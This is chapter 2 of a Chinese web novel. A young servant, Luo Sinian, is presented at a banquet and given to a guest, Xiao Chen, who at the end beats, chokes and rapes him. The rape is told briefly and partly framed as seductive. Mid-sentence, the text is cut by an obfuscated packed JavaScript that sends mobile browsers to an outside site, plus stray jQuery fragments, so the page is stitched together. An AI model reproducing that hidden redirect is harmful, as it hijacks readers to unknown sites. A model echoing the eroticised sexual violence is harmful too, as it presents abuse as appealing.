2. 第 2 章

作品:《共享男仆逃跑后渣攻们疯了

    第二天传来消息,听说两位少爷和那位贵客住了下来,前院变得很忙碌。


    但这些和后院没关系,洛斯年回归到了正常的生活。


    不用立刻踏上既定的命运,洛斯年松了口气。


    陈管事倒是替他着急:“伶奴就这么几年的好日子,这下耽搁了,主人不知道什么时候想起来。”


    洛斯年支着下巴,去看前面一排屋子。


    那些是年长一些的伶奴,在主人面前得了恩宠,才得到赏赐。


    听说能一个人住一间房呢。


    他的世界太小,小到仅有这么个院子,连期盼也只有这么一点点。


    甚至这么简单的期盼,都并不很深。


    似乎在心底里的某一角,他更想待在这个小小的院门口,假装日子很有盼头。


    这一天终于到了。


    洛斯年头发长长了些,喊了个小伶奴帮他束发,还没弄好,外面就传来陈管事的声音。


    啪嗒一声,梳子掉在地上。


    洛斯年回过神,一脸镇定地对着小伶奴说:“没事,我去了。”


    小伶奴们亦步亦趋地跟到门口,不敢出去,只好可怜兮兮地扒着门:“洛哥哥,我们是不是以后就看不到你了?”


    洛斯年笑笑:“放心好了,我不会丢下你们的。”


    小伶奴们高兴起来,又跟着憧憬,恨不得自己也能马上长大。


    这一次离开后院,依旧是陈管事带着。


    只不过,真的去洗澡了。


    事实上,现代服装已经使用了上百年,哪怕在后院,平时也是长袖长裤地穿,比较方便。


    今天却是件上襦下裙的旧制式。


    洛斯年黑发半扎,再穿上这条裙子,乍一看真的和女孩没区别。


    只是这裙子通身纯白,将他衬得年龄很小,眉眼之间都是稚气未脱。


    陈管事在门口等着,见他出来,愣了愣。


    忽地,他像有些不忍,喊了洛斯年的小名:“年年……”


    “嗯?”


    “如果熬不下去了,只管和我说。”


    洛斯年就笑了:“我不是要去过好日子了吗?”


    陈管事没了声。


    他们再一次从后院前往中庭,和上一回一模一样的路,只不过不再被阻拦于宴会厅之外。


    外面还是很多仆从在传菜,依旧是一场宴会。


    洛斯年看着,心头通通地跳起来,手心紧攥住衣角,没一会儿就汗湿了。


    陈管事走到一半就停住了,对他说:“我只能到这里,继续往里走。”


    洛斯年觉得口干,抿住唇,有些无措。


    陈管事安抚道:“我教你的都还记得吗?”


    洛斯年点点头。


    “那就够了,”陈管事压着眼底的怜悯,低声说,“去吧。”


    男女仆从训练有素地分列两旁,那么多人在传菜、倒酒,却连一点多余的声音也没有。


    队伍的尽头,厅堂宽阔,繁花似锦。


    廊柱间光影点点,疏疏落落,洛斯年看不出什么名堂,只觉好看得呼吸不畅。


    陈管事、老师、其他伶奴……洛斯年小小的世界里仅有这些人。


    而所有人都告诉他,这就是他的富贵未来。


    于是他就这么一步一步,一步一步地往前走。


    直至真正进入这个美梦一样的富贵之地。


    审视的目光四面八方围聚过来,犹如实质,黏着在皮肤上。


    明明一路走来,有那么多人在看他,可所有视线的重量加起来,也比不过此刻。


    他也第一次见到自己的主人。


    正中上首,一个发须雪白的老头。


    洛斯年看了一眼就跪下了,练习过千次万次的肌肉习惯下,他匍匐在地:“年年见过主人。”


    然后他后知后觉的有些失望。


    主人看起来既不威风也不强壮,和想象中那个不容冒犯的对象,实在差了太多。


    主人笑呵呵,不知在对谁说话:“我这些伶奴都是千挑万选,几年才有这么一个,萧先生觉得怎么样?”


    “抬头吧。”


    洛斯年一直趴着,只看得见金丝地砖,闻言坐直身体,抬起头。


    左右两边都坐着人,他不知道看哪边,只好将求助的目光投向主人。


    自上而下地看,那双眼睛干净又澄澈,眼尾下垂,泛着点微红,是一种曲意奉承、小心婉转的漂亮。


    主人一愣,嘴角牵出满意的微笑,可又不知想到什么,那丝微笑很快化作惋惜。


    他看向左手边,笑道:“萧先生,这个宝贝应该还不错吧。”


    萧先生眼神定在洛斯年脸上,好一会儿轻轻嗯了一声。


    主人大笑:“年年,萧先生说喜欢你呢。”


    洛斯年愣了一会儿,在主人揶揄的提醒下,才走到萧先生身旁坐下。


    坐定时,他对上对面两双眼睛。


    其中一双漆黑幽冷,洛斯年震得心尖发颤,想起那天见过的军装男人。


    他不敢多看,垂眸犹豫了一会儿,试着靠在萧先生身上。


    身边人明显僵硬了。


    洛斯年连忙放轻动作,虚虚靠着。


    萧先生回头看他,只是很随意的一眼。


    洛斯年赧然一笑。


    那道本该一触即走的视线稍稍停留,好几秒,才收回去。


    洛斯年其实也没有真正服侍过谁,那些学习过的东西终究是纸上谈兵,到了这会儿,一会儿忘了这个,一会儿忘了那个。


    就这么不太熟练地替萧先生布菜。


    幸好没人关注他的动作,几人很快继续了先前的话题。


    洛斯年听不太懂,但也听出来点信息。


    比如,萧先生名叫萧沉,对面两人就是大少爷和二少爷,他们三人从前一起游学,是过命的好友。


    再比如,主人叫做顾振华,是江南世家之首,在帝国非常受到重用。


    那天他在湖心亭撞见的,正是大少爷。


    席间上了一道炒凤舌,主人相当自豪:“萧先生再看,这道菜怎么样?”


    萧沉也是点头:“很好。”


    洛斯年听着这对话耳熟,好一会儿想起,自己先前出场时,也是这样。


    只不过当时谈论的对象是他,现在是这盘菜。


    他盯着那盘炒凤舌,歪了歪头。


    主人看见,只当他好奇,便笑:“年年也喜欢?”


    洛斯年没想到他会突然点自己,连忙说:“年年不敢。”


    “尝尝吧。”主人带着点倨傲,往后一靠,就这么看他。


    突然间,四周安静下来。


    所有视线犹如密密的网,缠绕在他手脚。


    洛斯年本能感到危险,四肢也变得很沉重。


    可他无法违抗主人的命令,只好捏着筷子,颤抖着去夹那盘凤舌。


    无端的压力之下,他压根没尝出来什么味道,嚼了两下就称赞好吃。


    主人一下子笑了:“瞧瞧,凤又有什么不同的。”


    洛斯年懵懵懂懂,听不出这话是什么意思,可其他三人都变了神色,整个厅堂隐约间暗流涌动。


    这个小插曲很快一带而过,洛斯年也没在意。


    但很快,他发现,对面的二少爷笑嘻嘻地一直


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749340|174265||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在看他。


    两人视线交汇。


    二少爷唇角笑意更深,用唇语对他说:“你、完、蛋、啦。”


    洛斯年手一抖,酒壶没拿稳,酒液淌到桌上。


    宴会到尾声,主人醉醺醺道:“我这个小伶奴啊,别的没有,就是干净漂亮,萧先生要是满意,就带回去用吧。”


    洛斯年吓了一跳,慌张跪下:“主人,我……”


    这么一个大美人泪眼朦胧地表现忠诚,没有哪个男人能够不心软,主人更觉得惋惜了,眼神柔和。


    只是萧沉率先开口问:“你不愿意吗?”


    洛斯年抬头,看了眼主人和萧沉,出于本能,他觉得这时候不能拒绝。


    他还是跟着萧沉走了。


    萧沉的住所在别院,整个园子的另一角。


    不知是因为全然陌生的道路,还是因为逐渐暗淡的天色,每走一步,洛斯年都有种说不出的心慌。


    他从小在那个狭小的后院长大,所有对未来的规划,都是围绕着主人的。


    没人跟他说过,还会有客人的存在。


    以至于那个众人臆测的美好未来,也跟着摇摇欲坠起来。


    进了屋,洛斯年还在打量整个房间,思考自己该做些什么。


    一个没注意,撞到萧沉。


    洛斯年涨红了脸,连忙谢罪,萧沉却只是站着,一言不发。


    洛斯年壮着胆子抬起头,却见男人面孔隐在黑暗里,看不到任何表情。


    “萧先生?”洛斯年眨眨眼,一无所知地问,“您要我陪吗?”


    这句话像是打开了某个开关,萧沉终于动了。


    并且行云流水,一把扯下皮带,将洛斯年双手捆在一起。


    下一刻,萧沉手指伸进他嘴里,肆意搅动。


    洛斯年有点呛到,咳了两声想要躲。


    仅仅是微弱的抗拒,就迎来一个重重的耳光。


    啪!


    洛斯年左耳嗡鸣,被打得蒙了,嗓音颤颤地喊:“萧先生……”


    萧沉开了一盏台灯。


    幽暗光线勉强照亮了他半张脸,洛斯年也就看清,萧沉脸上半点情绪也没有。


    洛斯年全身血液从头到脚地凉了。


    “凤舌,是你能吃的吗?”萧沉眯了眯眼,嗤笑一声,“下贱东西。”


    洛斯年呜咽,含糊地认错:“年年错了,年年再也不敢了……”


    萧沉给了他第二个耳光。


    “这么擅长勾引人,还装什么纯?”


    洛斯年被打得偏过头去,听不清他在说什么,脑子里只有一个想法。


    他会不会死在这里?


    其他伶奴们会知道这件事吗?


    这时候,他忽然间想起一件事。


    那么多长大的伶奴,好像也不是个个都住在大屋子里。


    看不见的,都去了哪里呢?


    第三个耳光落下,洛斯年惊叫着哭泣,萧沉掐住他的脖子,低声说:“在想什么?”


    洛斯年大哭摇头:“萧先生,您饶了我吧,年年会很乖的……”


    萧沉动作稍微一顿,似乎在审视着什么。


    洛斯年只当是求饶奏效,更加努力地恳求。


    他并不知道,此刻他哭得眉眼泛红,这么可怜了,还要仰头,试图流露出媚态。


    也许是偏圆的双眼,又或许是的确缺乏经验,这不熟练的柔媚中混着纯真稚嫩,更加勾人。


    完全是一副艳丽图景。


    所以,他没能求到任何怜悯。


    萧沉扼着他的脖子,强行进入了他。


    强烈的疼痛下,洛斯年昏死过去。